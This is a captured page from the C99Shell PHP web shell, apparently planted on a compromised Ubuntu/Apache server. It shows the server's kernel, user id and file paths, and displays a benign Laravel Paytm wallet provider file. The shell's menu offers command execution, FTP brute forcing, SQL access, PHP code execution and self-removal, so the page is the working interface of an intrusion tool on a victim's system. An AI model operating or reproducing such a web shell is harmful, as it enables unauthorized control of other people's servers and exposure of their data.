!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/main_file/vendor/anandsiddharth/laravel-paytm-wallet/src/Providers/   drwxrwxr-x
Free 13.17 GB of 57.97 GB (22.72%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PaytmWalletProvider.php (1.99 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Anand\LaravelPaytmWallet\Providers;
use 
Anand\LaravelPaytmWallet\Contracts\Provider as ProviderContract;
use 
Illuminate\Http\Request;
require 
__DIR__.'/../../lib/encdec_paytm.php';

class 
PaytmWalletProvider implements ProviderContract {

    protected 
$request;
    protected 
$response;
    protected 
$paytm_txn_url;
    protected 
$paytm_txn_status_url;
    protected 
$paytm_refund_url;
    protected 
$paytm_refund_status_url;
    protected 
$paytm_balance_check_url;

    protected 
$merchant_key;
    protected 
$merchant_id;
    protected 
$merchant_website;
    protected 
$industry_type;
    protected 
$channel;


    public function 
__construct(Request $request$config){
        
$this->request $request;
        
        if (
$config['env'] == 'production') {
            
$domain 'securegw.paytm.in';
        }else{
            
$domain 'securegw-stage.paytm.in';
        }
        
$this->paytm_txn_url 'https://'.$domain.'/theia/processTransaction';
        
$this->paytm_txn_status_url 'https://'.$domain.'/merchant-status/getTxnStatus';
        
$this->paytm_refund_url 'https://'.$domain.'/refund/HANDLER_INTERNAL/REFUND';
        
$this->paytm_refund_status_url 'https://'.$domain.'/refund/HANDLER_INTERNAL/getRefundStatus';
        
$this->paytm_balance_check_url 'https://'.$domain.'/refund/HANDLER_INTERNAL/getRefundStatus';

        
$this->merchant_key $config['merchant_key'];
        
$this->merchant_id $config['merchant_id'];
        
$this->merchant_website  $config['merchant_website'];
        
$this->industry_type $config['industry_type'];
        
$this->channel $config['channel'];
    }

    public function 
response(){
        
$checksum $this->request->get('CHECKSUMHASH');
        if(
verifychecksum_e($this->request->post(), $this->merchant_key$checksum) == "TRUE"){
            return 
$this->response $this->request->post();
        }
            throw new 
\Exception('Invalid checksum');
    }

    public function 
getResponseMessage() {
            return 
$this->response()['RESPMSG'];
       }

    public function 
api_call($url$params){
        return 
callAPI($url$params);
    }

    public function 
api_call_new($url$params){
        return 
callAPI($url$params);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0055 ]--